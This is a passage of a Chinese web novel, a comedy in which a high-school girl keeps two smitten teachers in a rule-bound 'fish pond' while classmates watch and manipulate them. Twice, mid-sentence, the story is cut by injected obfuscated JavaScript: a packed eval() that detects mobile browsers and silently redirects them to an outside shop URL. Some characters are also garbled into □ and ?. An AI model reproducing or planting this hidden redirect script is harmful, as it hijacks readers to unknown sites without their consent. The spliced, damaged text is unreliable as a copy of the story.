洐沁在本子上记录：「初步判断，他已进入‘合理化对方行为’阶段，这是M属性觉醒的重要标志。」 而事件的另一主角梦萱，反应却很奇怪。 她没有像往常一样大肆宣扬“我把老师打服了”，反而安静了几天。 据三班“线人”报告，梦萱这几天上课不睡觉了，也不骂人了，就趴在桌上发呆，偶尔会摸摸自己的右手——扇巴掌的那只。 “她在回味。”洐沁分析，“暴力行为后的空虚感，加上对方反常的积极反馈，让她产生了认知失调。简单说，她懵了。” “懵了好。”我说，“至少消停几天。” 好吧，我还是太天真了。 --- 周四下午，数学课刚下课，张聪明前脚走出教室，后脚就发生了戏剧性一幕。 鲁平拿着一杯奶茶，站在五班门口，探头问：“梦萱同学在吗？” 全班齐刷刷转头看向门口——梦萱当然不在，她在三班。 “她……在三班。”我说。 “哦。”鲁平点头，“那你能帮我……把这个给她吗？” 他递过来一杯奶茶，包装精致，杯壁上还贴着便签。 我接过，看到便签上写着：「手还疼吗？——鲁」 字迹工整，甚至有点……小心翼翼。 “老师，您确定要给她？”我忍不住问。 “确定。”鲁平表情认真，“昨天我看到她手腕有点红，可能是……嗯，那天用力过猛。喝点热的，对身体好。” 我：“……”那是打你打红的啊老师！ 但我没说，只是点头：“好的。” 鲁平走了。全班立刻围上来。 “我看看！” “真的是奶茶！” “便签写了什么？” “卧槽，这什么展开……” 洐沁挤进来，拍照记录：“里程碑事件：第一次物质馈赠。进度条冲到30%。” “真要送过去？”王鑫问。 “送。”洐沁说，“而且要当着三班同学的面送，增加事件传播性。王鑫，你去送，就说‘鲁老师让你多喝热水’。” “为什么是我？” “你脸皮厚。”洐沁推他，“快去。” 王鑫捧着奶茶，视死如归地走向三班。 五分钟后，他回来了，脸色古怪。 “怎么样？”洐沁问。 “梦萱接了。”王鑫说，“但她说……” “说什么？” “说‘秃鹫老狗还挺会舔’。” 全班：“……” 洐沁却笑了：“正面反馈！虽然用语粗俗，但接受了礼物，还给了绰号——‘秃鹫老狗’，这属于亲密型侮辱，关系进阶的标志。” “这算进阶？” “当然。”洐沁在本子上写，「赐予专属绰号，是颠婆表达‘你是我的人了’的方式。参考她对程穗的‘圣母裱’，虽然难听，但代表她记住了你。」 我可一点不觉得荣幸呢…… --- 故事如果到此为止，还算正常。 但命运的齿轮一旦转动，就会带起一连串连锁反应。 第二天中午，食堂。 我和洐沁正在排队打饭，看到张聪明端着一盘红烧肉，左顾右盼，然后快步走向一个座位——梦萱坐的那桌。 “有情况。”洐沁立刻掏出手机，假装自拍，实则录像。 张聪明在梦萱对面坐下，笑容满面：“梦萱同学啊～一个人吃饭啊～” 梦萱抬头，瞥了他一眼：“关你屁事。” “老师关心学生啊～”张聪明把自己餐盘里的鸡腿夹到梦萱盘里，“多吃点啊～长身体啊～” 梦萱看着那个鸡腿，又看看张聪明，突然笑了：“张老师，你是不是也想挨巴掌？” 张聪明手一抖：“啊～说什么呢～老师就是关心你～” “关心我？”梦萱用筷子戳着鸡腿，“行啊，那帮我个忙。” “什么忙啊～” “下个月月考，让我数学及格。”梦萱说，“我现在数学38分。” “这个啊～”张聪明搓手，“要靠自己努力啊～” “那鸡腿拿回去。”梦萱把鸡腿扔回他盘里。 张聪明赶紧说：“老师可以给你补课啊～” “补课？”梦萱眼睛一转，“行啊，每周二周四放学后，办公室，一对一。” “啊～这……” “不乐意算了。” “乐意乐意！”张聪明连忙点头，“那说好了啊～” 梦萱得意地笑了，继续吃饭。 张聪明坐在对面，也不吃，就笑眯眯地看着她，眼神温柔得像看自家闺女——如果忽略那里面一丝说不清道不明的东西。 洐沁放下手机，低声说：“第二个了。” “什么第二个？” “第二个沦陷的老师。”洐沁表情严肃，“张聪明老师，绰号‘啊神’，特点：甩锅、油腻、自我感觉良好。现在，新增属性：疑似对颠婆产生异常兴趣。” “他也是死M？” “不一定。”洐沁分析，“张聪明和鲁平人格类型不同。鲁平是压抑型，被打后释放；张聪明是表演型，他可能把‘关心问题学生’当成一种自我感动式的表演。但结果一样——他们都开始围着梦萱转。” 我们打完饭，找了个远离他们的位置坐下。 刚吃两口，就看到鲁平端着餐盘，也在找座位。 他看到了梦萱，也看到了张聪明。 脚步顿住了。 他站在原地，看了三秒，然后转身，走向另一个方向。 背影有点……落寞？ 洐沁眯起眼睛：“三角关系，雏形已现。” --- 下午自习课，张聪明突然来到五班。 “同学们啊～通知个事啊～”他站在讲台上，“学校要举办青年教师风采大赛啊～每个班要派一名老师参加啊～咱们班推荐谁啊～” 底下有人喊：“推荐鲁老师！” “鲁老师？”张聪明笑容僵了一下，“鲁老师年纪超了啊～要35岁以下的啊～” “那只有张老师您了啊！” “我啊～”张聪明摸摸头发，“也行啊～那我就代表咱们班参加啊～” 他话锋一转：“不过啊～需要同学们帮忙啊～比赛有个环节是‘学生评价’啊～需要写推荐信啊～程穗啊～你组织一下啊～” 又甩锅。 我刚要答应，洐沁举手：“老师，鲁老师不能参加，但可以当您的‘指导老师’啊。师生合作，更有看点。” 张聪明愣了：“啊～这个……” “而且鲁老师文笔好，可以帮您写演讲稿。”洐沁继续说，“您不是常说‘团结协作’吗？” 张聪明被将了一军，只好说：“那……那我问问鲁老师啊～” 他走出教室。洐沁对我眨眼：“制造接触机会，加速三角关系成型。” “你为什么要加速？” “为了观察。”洐沁理所当然，“三角关系是最稳定的关系结构，也是最容易产生戏剧冲突的结构。作为研究者，我需要一个完整的实验样本。” 我服了。 这人已经把自己活成了真人秀导演。 --- 放学后，洐沁的“开幕式抽象震撼计划”进入实施阶段。 她把五班同学分成三组： 第一组：“道具组”，负责制作服装——用废报纸、塑料袋、彩纸做“抽象战袍”。 第二组：“台词组”，负责编口号——要求既要正能量，又要足够迷惑。 第三组：“行为艺术组”，负责设计开幕式入场动作——洐沁的原话是：“要跳出人类的理解范畴。” 王鑫被分到行为艺术组，苦着脸问：“到底要怎么做？” 洐沁示范：她先正常走三步，然后突然单脚跳，转圈，双手比心，再突然蹲下学青蛙跳，最后站起来敬礼。 全班沉默。 “看懂了吗？”洐沁问。 “看懂了。”王鑫说，“但不想懂。” “那就照做。”洐沁拍板，“记住，我们的目标是：让评委看不懂，但大受震撼。” 训练开始了。 操场上，五班同学穿着用报纸糊成的“铠甲”，练习着诡异的舞步，喊着不明所以的口号： “五班五班！非同一般！火锅在前！抽象当先！” 旁边训练的班级纷纷侧目。 三班的人笑到捶地。 梦萱也在，她抱着手臂看了会儿，突然走过来。 “你们这是在干什么？”她问。 “开幕式表演。”洐沁淡定地说。 “开幕式？”梦萱嗤笑，“像一群精神病院逃出来的。” “谢谢夸奖。”洐沁说，“艺术本就源于疯狂。” 梦萱盯着她看了几秒，突然说：“你们班那两个老师，最近是不是有病？” 洐沁挑眉：“何以见得？” “一个给我送奶茶，一个要给我补课。”梦萱说，“我长得像需要他们关心的人吗？” “也许他们只是……发现了你的闪光点。” “闪光点？”梦萱笑了，“我全身上下都是闪光点，但他们不配看。” 她转身要走，又回头：“告诉那两个老东西，别来烦我。否则下次不是一巴掌能解决的。” 她走了。 洐沁在本子上记：「态度：抗拒中带着享受。她喜欢被关注，但鄙视关注者。经典傲娇型颠婆。」 训练继续。 十分钟后，鲁平来了。 他应该是刚下课，手里还拿着保温杯，站在操场边看了会儿，然后走过来。 “同学们在训练啊。”他说。 “鲁老师好！”大家停下。 “继续，继续。”鲁平摆摆手，目光却在人群中搜寻，“梦萱同学……不在？” “她刚走。”我说。 “哦。”鲁平有点失望，但很快说，“你们练的这个……很有创意。” “老师觉得好看吗？”我问。 “好看……不好看……嗯……”鲁平斟酌措辞，“很有哲学意味。混乱中蕴含秩序，荒诞中体现真实。就像……后现代主义艺术。” 全班：“……”老师您真能编。 鲁平却越说越认真：“真的。你们看这个报纸铠甲，象征着知识的武装；这个青蛙跳，象征着……嗯……生命的活力。很好，继续。” 他鼓励了一番，走了。 五分钟后，张聪明也来了。 他刚开完会，领带歪着，肚子把衬衫扣子绷得紧紧的。 “练得怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064643|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么样啊～”他笑眯眯地问。 洐沁让同学们展示了一遍。 张聪明看完，沉默了三秒，说：“啊～很有特色啊～就是……是不是太特色了啊～” “特色不好吗？”我问。 “好啊～但也要考虑评委接受度啊～”张聪明搓手，“要不咱们改改啊～正常点啊～” “改了就不抽象了。”洐沁说，“张老师，您不是常说‘要做就做最好’吗？我们要做，就做最抽象的。” 张聪明被噎住，只好说：“那……那你们自己把握啊～” 他也走了。 洐沁对大家说：“看到没？两位老师的反应截然不同。鲁平是‘强行解读，升华意义’，张聪明是‘表面支持，实际退缩’。这反映了他们的人格差异，也预示了他们在三角关系中的不同角色。” 王鑫举手：“洐沁，咱们能不能……别研究老师了？专心训练行吗？” “研究就是训练的一部分。”洐沁正色道，“了解你的对手，了解你的环境，才能制定最佳策略。这叫‘知己知彼，百战不殆’。” “但我们的对手是三班，不是老师……” “老师也是环境的一部分。”洐沁说，“而且，我预感老师很快就会成为‘战场’的一部分。” 她的话，在第二天就应验了。 --- 周五早晨，我第一个到教室。 刚开门，就看到讲台上放着两杯奶茶。 一杯贴着蓝色便签：「天冷了，注意保暖。——鲁」 一杯贴着粉色便签：「学习辛苦了啊～补充能量啊～——张」 我愣在门口。 这时，梦萱从楼梯口走上来——她居然来这么早。 看到我，她挑眉：“站门口干嘛？” 我让开，她看到讲台上的奶茶，也愣了。 然后，她笑了。 不是冷笑，是真笑，笑得肩膀都在抖。 “这两个老东西……”她摇头，走过去，拿起两杯奶茶，一手一杯。 “你要喝？”我问。 “喝啊。”她说，“不喝浪费。” 她插上吸管，左一口右一口，像品酒一样。 然后评价：“蓝签这杯三分糖，太淡；粉签这杯全糖，太腻。都不行。” 但她还是喝完了。 喝完后，她把杯子扔进垃圾桶，拍拍手，对我说：“告诉你们班那两个老师，明天我要喝芋圆奶茶，一杯三分糖一杯七分糖，我要对比哪杯好喝。” 说完，她哼着歌走了。 我站在原地，看着垃圾桶里的两个杯子，突然觉得这个世界好荒谬。 更荒谬的是，我把这话转达给两位老师时，他们的反应。 鲁平认真记在备课本上：“芋圆奶茶，一杯三分糖，一杯七分糖。好的，我记下了。” 张聪明则摸着下巴：“啊～她要对比啊～那得买不同品牌的啊～看看她喜欢哪个啊～” 他们真的要去买。 而且，撞上了。 --- 周六下午，学校门口的奶茶店。 据目击者（刚好在买奶茶的五班同学）描述： 鲁平和张聪明几乎同时到达奶茶店，同时说出“芋圆奶茶”，然后同时看到对方。 沉默。 尴尬的沉默。 然后张聪明先开口：“啊～鲁老师也来买奶茶啊～” 鲁平：“嗯。” “给家人买啊～” “不是。” “那是……” “给学生买。”鲁平说，“梦萱同学想喝。” 张聪明的笑容僵住：“巧了啊～我也是啊～” 两人对视，眼神里有火花。 “她要的是三分糖和七分糖。”鲁平说，“我买两杯。” “那怎么行啊～”张聪明说，“要买不同品牌的对比啊～我已经研究过了啊～这家芋圆软糯啊～那家奶茶醇香啊～” “她没说品牌。” “但对比要全面啊～” 两人争起来，声音越来越大，引得其他顾客侧目。 最后，店员弱弱地说：“两位老师……要不……各买各的？” 店员：麻痹的俩死颠公到底买不买！！！ 他们这才停下，各自买了两杯。 然后一前一后走出奶茶店，互相不理睬。 目击者拍下了照片：两个中年男人，一手拎两杯奶茶，背影倔强又孤独。 照片传到五班群，炸了。 洐沁立刻召开紧急分析会： “战争，正式开始了。”她说，“从暗地较劲升级为公开竞争。这是三角关系的第一个高潮。” “我们要做什么？”有人问。 “观察，记录，以及——”洐沁顿了顿，“适当煽风点火。” “怎么煽？” 洐沁笑了：“比如，告诉鲁平，张聪明买的奶茶更贵；告诉张聪明，鲁平买的奶茶店员说更好喝。然后，看戏。” 全班：“……” “这不太好吧？”我说。 “这是为了研究。”洐沁理直气壮，“而且，他们自愿的，我们只是……加速进程。” 我看着群里那张照片，两个老师的背影在夕阳下拉得很长。 突然觉得他们有点可怜。 但又觉得……有点好笑。 这算什么？ 中年教师的第二春？ 还是秃顶油腻男的终极对决？ 我不知道。 我只知道，下周的政治课和数学课，一定会很精彩。 而梦萱，那个始作俑者，此刻大概正跷着二郎腿，等着她的奶茶吧。 这个世界，真的越来越抽象了。 10. 第 10 章 周一早晨，五班黑板出现了一封“公开信”。 字迹狂放，用的是彩色粉笔，还画了花边——一看就是梦萱的手笔。 信的内容如下： 《致高二五班鲁平、张聪明老师的鱼塘管理告知书》 第一条：本鱼塘实行配额制。每人每周最多投喂三次（食物、饮料、小礼物等均算一次）。 第二条：投喂需提前24小时预约，私信我确认品类、时间、地点。未经预约直接投递者，拒收。 第三条：投喂物品需符合以下标准：食物类需有独立包装且保质期三天以上；饮料类需标明糖度温度；礼物类单价不得超过50元（超过部分按行贿处理）。 第四条：禁止在公共场合（教室、办公室、走廊）发生争抢、对峙等不体面行为。违者停投一周。 第五条：每月进行一次“鱼塘满意度测评”，综合评分低者，降级为“待观察鱼”。 第六条：最终解释权归鱼塘主（我）所有。 落款：鱼塘主·梦萱 附：本周已用额度：鲁平（1/3），张聪明（1/3） 全班同学站在黑板前，沉默了整整一分钟。 然后爆笑。 “鱼塘管理……哈哈哈哈！” “还有满意度测评？！” “待观察鱼是什么鬼啊！” 洐沁第一时间拍照，在观察笔记上写道：「系统性管理思维显现。她将两位老师的追求行为商品化、流程化，建立了一套完整的控制体系。这是权力关系的具象化表达，也是颠婆行为模式的重大升级。」 王鑫擦着笑出来的眼泪：“她真把这当企业管理了？” “从管理学角度，这很科学。”洐沁认真分析，“设定规则、明确奖惩、掌握解释权——这是标准的制度设计。只是应用场景过于抽象。” “那两位老师会遵守吗？”我问。 “会。”洐沁肯定地说，“他们已经进入‘服从测试’阶段，越离谱的规则，他们越会遵守，以证明自己的‘忠诚’。” 她话音刚落，鲁平就出现在教室门口。 他今天穿了件深灰色夹克，秃顶在晨光中泛着柔光，像抛光过的大理石。 看到黑板上的“鱼塘告知书”，他愣了三秒。 然后，他做了一件让全班目瞪口呆的事——他从公文包里掏出笔记本和笔，开始抄写。 一字一句，工工整整，抄完还核对了一遍。 抄完后，他看向我：“程穗同学，这个……能擦了吗？” “可以……” “等一下。”他又说，“我拍个照。” 他拿出手机——还是老式的翻盖机——笨拙地对着黑板拍照，拍了三张，确认清晰，才说：“好了，可以擦了。” 我擦黑板时，听到他小声嘀咕：“每周三次……要规划一下……” 他走了。 五分钟后，张聪明来了。 他看到黑板已经擦干净，愣了一下：“啊～今天没通知啊～” 有同学好心告诉他：“张老师，刚才黑板上有个‘鱼塘管理告知书’，被鲁老师抄完擦掉了。” 张聪明脸色一变：“什么内容啊～” 同学复述了一遍。 张聪明听完，第一反应是掏手机——他的是智能手机，动作比鲁平利索多了。他在备忘录里快速打字，嘴里还念叨：“每周三次……预约制……50元上限……” 记完后，他抬头，笑容有点勉强：“这个梦萱同学啊～很有创意啊～” “老师您会遵守吗？”有胆大的同学问。 “当然啊～”张聪明挺直腰板，“老师要尊重学生的想法啊～” 但他走出去时，背影明显有些凌乱。 洐沁点评：“鲁平是认真型，张聪明是应付型。但殊途同归——他们都会遵守。因为不遵守就会被‘踢出鱼塘’，这对他们已经形成心理威慑。” “这么夸张？” “你等着看。”洐沁说。 --- 第一节课下课，梦萱的“鱼塘管理”就迎来了第一次实战。 鲁平拿着一个纸袋，站在三班门口，礼貌地敲门：“梦萱同学在吗？” 梦萱走出来，瞥了眼纸袋：“预约了吗？” “预约了。”鲁平从口袋里掏出手机——他居然学会用微信了，“昨晚八点十五分，我问‘明天早上可以给你带早餐吗’，你回了个‘嗯’。” 他翻出聊天记录。 梦萱凑过去看，确认后点头：“行，什么东西？” “三明治和豆浆。”鲁平递过纸袋，“三明治是火腿鸡蛋，豆浆三分糖，温度60度左右，用保温袋装着。” 梦萱接过来，打开检查，然后拿出手机，在某个界面操作了一下：“登记了。本周额度：鲁平（2/3）。下一个预约是周三下午，奶茶，记得提前问我要什么口味。” “好的。”鲁平点头，转身离开，脚步轻快。 全程不到两分钟，流程规范得像快递取件。 围观同学惊呆了。 更绝的是，张聪明正好从办公室出来，看到了这一幕。 他站在原地，脸色变幻，然后快步走回办公室——大概是去查看自己的“预约排期”了。 洐沁在本子上狂记：「规则内化完成。双方已接受‘鱼塘主-鱼’的权力结构。接下来会进入规则内竞争阶段，即比谁更会‘遵守规则’。」 果然，下午放学时，张聪明出手了。 他没有直接找梦萱，而是通过三班一个女生传话：“张老师说，他预约了明天的‘课业辅导’，时间地点按您的要求私信确认了，请您查收。” 梦萱看完微信，回复了一个“ok”手势。 然后她对那个传话女生说：“告诉张老师，明天带教辅书来，我要《五年高考三年模拟》数学版。” 女生跑去传话。 五分钟后回来：“张老师说，他买了两种版本，A版和B版，都带来给您选。” 梦萱满意地点头：“登记，张聪明本周额度（2/3）。” 全程，两位老师没有碰面，没有冲突，一切在规则内有序进行。 洐沁评价：“这就是制度的威力。无序竞争变为有序竞赛，冲突被规则框住，反而更稳固了。” “但这不是更病态了吗？”我说。 “是病态。”洐沁承认，“但病态得很有秩序。从研究角度，这是珍贵样本。” --- 周三，大雄正式登场。 其实他一直存在——作为一班的学生，身高一米八，虎背熊腰，鼻子大塌且布满痘痘，在年级里也算“有名”。 但之前他和梦萱没有交集。 直到周三体育课，三班和一班同时上。 自由活动时，梦萱在练跳远——运动会她报了女子跳远。 她跳得很差，姿势怪异，像只被扔出去的□□。 大雄在旁边看了一会儿，忍不住说：“你起跳角度不对。” 梦萱转头，打量这个陌生男生：“你谁啊？” “一班，张大雄。”他挠挠头，“你该用大腿发力，不是小腿。” “用你教？”梦萱翻白眼。 大雄也不生气，走过去，在沙坑边示范了一次。 他跳得并不远——大概四米多，但他姿势标准，起跳、腾空、落地，一气呵成。 “看到没？”他站起来，拍拍手上的沙，“要这样。” 梦萱盯着他看了三秒，突然笑了：“你鼻子上的痘，像北斗七星。” 大雄愣住，摸了摸鼻子：“真、真的吗？” “真的。”梦萱凑近看，“七颗，刚好排成勺子状。你该去代言祛痘膏，广告词就叫‘连北斗七星都能祛掉’。” 一般人被这么说会生气。 但大雄笑了，笑得很憨：“你是第一个这么说的人。” “因为其他人不敢说。”梦萱叉腰，“我敢。我叫梦萱，做梦的梦，萱草的萱。” “我知道你。”大雄说，“三班的，很……厉害。” 他本来想说“很凶”，临时改口。 “算你会说话。”梦萱扬下巴，“再来一次，教我怎么跳。” 大雄真的认真教起来。 他话不多，但动作示范很仔细，还会用手比划角度。 梦萱学了一会儿，跳得还是像癞??□□????，但她不骂人了，反而问：“你运动会报了什么？” “铅球和铁饼。”大雄说，“还有五千米。” “五千米？你傻啊？那累死人。” “我耐力好。”大雄说，“而且……奖金高。” “缺钱？” “嗯。”大雄老实点头，“想买个新篮球。” 梦萱看了他一会儿，突然说：“你当我跟班吧。” “啊？” “跟我混，我给你买篮球。”梦萱说，“但你要帮我训练，运动会我要拿跳远金牌。” 大雄犹豫：“可我要训练自己的项目……” “你的项目简单。”梦萱摆手，“铅球铁饼，不就是扔东西吗？你这么大块头，随便扔扔就行了。跳远需要技术，我需要你。” 大雄想了想：“那……行吧。” “成交。”梦萱伸出手。 大雄握了握——他的手很大，梦萱的手在他手里像小孩的手。 这一幕，被在操场另一头“观察训练”的洐沁完整拍下。 她回来时，眼睛发光：“新变量出现了！” “大雄？” “对。”洐沁调出照片，“你们看，梦萱对大雄的态度，和对待两位老师完全不同。” 照片上，梦萱虽然还是那副颐指气使的样子，但眼神里没有厌恶，反而有种……找到新玩具的新鲜感。 “她不骂他？”王鑫问。 “骂了，但骂的内容是‘你鼻子上的痘像北斗七星’。”洐沁分析，“这是侮辱吗？是。但也是关注。而且大雄的反应是‘你是第一个这么说的人’——他把侮辱当成了独特关注。这两人，一个愿打一个愿挨，绝配。” “所以……” “所以鱼塘要扩容了。”洐沁在笔记本上画关系图，「两位老师是‘饲养鱼’，大雄是‘工具鱼’。但工具鱼如果升级，可能威胁饲养鱼的地位。接下来，会有好戏看了。」 她的预言，在当天下午就应验了。 --- 放学后，梦萱和大雄在操场训练。 鲁平拿着两杯奶茶走来——他预约了今天的“投喂”。 看到梦萱和大雄在一起，他脚步顿住了。 张聪明也来了——他预约的是“课业辅导”，带着《五三》和教案。 两位老师，在操场边，同时看到了梦萱和大雄的“训练画面”： 大雄蹲在沙坑边，手把手教梦萱起跳姿势，梦萱虽然嘴上骂骂咧咧，但居然乖乖跟着学。 鲁平的奶茶，递到一半，僵在空中。 张聪明的《五三》，抱在怀里，忘了放下。 他们对视一眼，眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064644|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神里第一次有了“同病相怜”的意味。 然后，两人同时走向梦萱。 “梦萱同学。”鲁平先开口，“奶茶，七分糖，加芋圆，按你要求。” “先放那边。”梦萱头也不回，“等我练完这一跳。” 张聪明挤过来：“梦萱同学啊～辅导时间到了啊～” “改天。”梦萱说，“今天我要练跳远。” 两位老师被晾在一边。 他们看着大雄——这个虎背熊腰、满脸痘痘的男生，正认真地调整梦萱的手臂角度。 “手再抬高一点……对……就这样……” 梦萱跳了出去。 还是像□□，但远了一点。 “有进步！”大雄鼓掌。 梦萱笑了——不是冷笑，是真笑：“真的？” “真的。”大雄认真点头，“至少远了十公分。” 鲁平和张聪明站在原地，手里拿着奶茶和教辅，像两个送外卖被拒收的小哥。 他们默默离开了。 走远后，张聪明说：“啊～那个男生是谁啊～” “一班的，张大雄。”鲁平说，“体育生。” “体育生啊～”张聪明语气微妙，“年轻啊～有活力啊～” 鲁平没接话。 但那天晚上，五班“线人”报告：鲁平在办公室待到很晚，一直在查“青少年运动训练指南”。 张聪明则给梦萱发了三条微信，内容分别是： 「老师认识体校教练啊～需要的话可以介绍啊～」 「数学辅导可以调整时间啊～以你为主啊～」 「要注意安全啊～别受伤啊～」 梦萱一条没回。 --- 周四，鱼塘管理告知书出了补充条款： 补充条款一：工具鱼（特指张大雄）不占用投喂额度，但需登记用途。 补充条款二：饲养鱼若对工具鱼有异议，可书面申诉，但鱼塘主有最终裁定权。 补充条款三：所有鱼类禁止私自斗殴、诋毁、使绊子，违者永久踢出鱼塘。 这条款是贴在三班门口的，但五班第一时间收到了照片。 洐沁召开紧急分析会： “局面复杂化了。”她说，“梦萱意识到两位老师的危机感，于是用条款明确大雄的‘工具属性’，安抚他们。但同时又给工具鱼特权，刺激饲养鱼竞争。这是高明的管理手段。 “她会玩脱吗？”王鑫问。 “目前不会。”洐沁说，“两位老师已经被规则驯化，大雄是憨厚型，三股势力都在她掌控中。除非……” “除非什么？” “除非有人破坏规则。”洐沁看向窗外，“或者，有新的变量介入。” 她说的“破坏规则”，在周五发生了。 而且破坏者，是两位老师自己。 --- 周五下午，教师办公室。 鲁平和张聪明因为“青年教师风采大赛”的事吵起来了——表面上是为比赛，实际上谁都明白是为了什么。 据在办公室送作业的同学描述，对话如下： 张聪明：“啊～这个演讲稿啊～我觉得要突出亲和力啊～” 鲁平：“亲和力不是装可爱。要体现教师专业素养。” 张聪明：“学生喜欢活泼的老师啊～” 鲁平：“学生喜欢的是尊重，不是讨好。” 张聪明：“鲁老师这话什么意思啊～” 鲁平：“字面意思。” 两人越说越僵，声音越来越大。 最后，张聪明说了一句：“啊～某些人啊～自己不受学生欢迎啊～就别指点别人啊～” 鲁平拍桌而起：“你说谁不受欢迎？！” “谁接话就说谁啊～” 办公室其他老师赶紧劝架。 但话已经说出去了。 鲁平脸色铁青，摔门而出。 张聪明坐在座位上，脸色也不好看。 这件事，十分钟后就传遍了年级。 自然也传到了梦萱耳朵里。 她的处理方式很“梦萱”： 她在校园墙发了个帖子，没点名，但所有人都懂： 「某些鱼类，注意素质。再发生内斗，直接清塘。」 配图是一张鱼塘的网图，上面P了两个字：“肃静”。 鲁平和张聪明都看到了。 据目击者称，鲁平在看到帖子后，在走廊站了很久，然后去小卖部买了瓶水，一口气喝完。 张聪明则一整个下午没说话，破天荒地没“啊”。 鱼塘管理，初见成效。 但代价是，两位老师的尊严，已经所剩无几。 --- 晚上训练后，洐沁对我说：“程穗，我想做个实验。” “什么实验？” “我想测试规则破坏的临界点。”她说，“比如，如果梦萱的规则明显不公平，两位老师还会遵守吗？” “你要怎么做？” “明天你就知道了。”洐沁神秘一笑，“这周末，鱼塘会有场‘压力测试’。” 我看着她兴奋的表情，突然有点不安。 这个同桌，已经把观察研究，玩成了真人实验。 而实验对象，是两位老师和一位颠婆。 还有一位憨憨的体育生。 这实验，会出什么事？ 我不知道。 但我知道，以洐沁的风格，一定会很“精彩”。 也很抽象。 11. 第 11 章 大雄的人生信条很简单： 1. 能动手就别吵吵 2. 能吃饭就别饿着 3. 别人骂你，一定是因为你值得被注意 所以当梦萱指着他的鼻子说“你脸上的痘能拼出世界地图”时，大雄的第一反应是掏出小镜子，认真观察：“真的吗？哪是亚洲？” 梦萱愣了三秒，然后笑得差点从单杠上摔下来。 “你他妈真是个宝贝！”她拍着大腿，“从今天起，你就是我的首席跟班了！” 大雄挠挠头：“首席跟班……是干啥的？” “就是我说啥你干啥。”梦萱跳下单杠，“现在，去给我买瓶水，要冰的，但不要太冰，要有气泡，但不能太冲，要柠檬味，但不能太酸。” 大雄站在原地，脑子处理了十秒钟，然后问：“那到底是啥？” “矿泉水就行！”梦萱踹他一脚，“快去！ 大雄乐呵呵地去了。 五班观察员王鑫实时汇报：“大雄买水回来了，还多买了一包纸巾，说‘你出汗了擦擦’。” 洐沁在观察笔记上写：「初步判断，张大雄同学患有‘侮辱型赞美认知障碍’，简称‘骂夸症’。临床表现：将一切侮辱性语言自动翻译为关心和赞美。」 --- 周三下午，梦萱的“鱼塘压力测试”开始了。 洐沁伪造了一份《鱼塘管理规则2.0版》，通过匿名小号发给了鲁平和张聪明。 主要内容包括： 1. 新增“亲密度任务”：每周需完成一项指定任务以提升亲密度等级。本周任务：鲁平需在政治课上公开背诵《梦萱赞美诗》；张聪明需在数学课上用“啊”字造句夸梦萱。 2. 引入“竞争性投喂”：同品类物品（如奶茶）将进行盲测打分，评分低者扣除一次投喂额度。 3. 设立“鱼塘贡献榜”：每月根据投喂价值、任务完成度、忠诚度等综合评分，排名末位者降为“实习鱼”。 邮件末尾还附了一句：「本规则最终解释权归鱼塘主，如有异议请憋着。」 洐沁发送完，转头对我说：“实验开始。预测：鲁平会认真执行，张聪明会试图钻空子，梦萱会一头雾水然后将计就计。” 一小时后，鲁平的回复来了。 只有两个字：「收到。」 紧接着，张聪明的回复也来了：「啊～这个规则啊～需要开会讨论一下啊～」 洐沁冷笑：“经典张聪明式回应——用流程拖延。但他最终会妥协，因为他怕被踢出鱼塘。” 果然，下午政治课前，鲁平找到我，表情严肃：“程穗同学，请教一下，现代诗……怎么写？” 我：“？？？” “《梦萱赞美诗》。”鲁平推了推眼镜，“我查了资料，赞美诗一般是歌颂神祇的。用这个格式赞美学生，是否……不太合适？” 我憋着笑：“老师，这可能是恶作剧……” “不。”鲁平认真摇头，“规则就是规则。既然鱼塘主发布了新规，就要遵守。我只是需要一些……艺术指导。” 他掏出一张皱巴巴的纸，上面已经写了几行： 「梦萱同学，如朝阳 照亮教室的每个角落 你的话语，如惊雷 唤醒我沉睡的灵魂」 我看完，沉默了五秒。 “老师，这诗……押韵吗？” “现代诗不讲究押韵。”鲁平认真地说，“讲究意境。你看，‘朝阳’和‘惊雷’，一个温暖一个激烈，象征她性格的两面性。” 我：“……”你开心就好。 --- 下午数学课，张聪明开始了他的表演。 讲课到一半，他突然说：“同学们啊～我们来做个小练习啊～用‘啊’字造句啊～” 底下同学憋笑憋出内伤。 张聪明浑然不觉，自顾自示范：“比如啊～‘梦萱同学今天的气色真好啊～’” 全班寂静。 张聪明继续：“或者啊～‘梦萱同学的作业写得真工整啊～’” 有同学忍不住了：“老师，梦萱今天没交作业……” 张聪明面不改色：“那是因为她在认真思考啊～” 洐沁在本子上记：「睁眼说瞎话能力：★★★★★」 下课前五分钟，张聪明完成了他的“啊字造句任务”，一共造了七个句子，句句带梦萱，句句离谱，包括： 「梦萱同学打哈欠的样子真有活力啊～」 「梦萱同学转笔的技术真专业啊～」 「梦萱同学睡觉的姿势符合人体工学啊～」 梦萱本人趴在三班桌上睡觉，根本不知道发生了什么。 但三班的同学们笑疯了---有人偷偷录了视频。 视频传到年级群，标题是《数学老师的语言艺术：如何用“啊”字完成一场行为艺术》。 张聪明一夜之间成了年级红人。 但他本人似乎很满意，放学后还给梦萱发了条微信：「今天的任务完成了啊～请查收啊～」 梦萱回了个问号。 张聪明截图发到“教师鱼塘群”——这个群只有他和鲁平，是洐沁建议他们建的，方便“鱼塘事务沟通”。 鲁平看到后，急了。 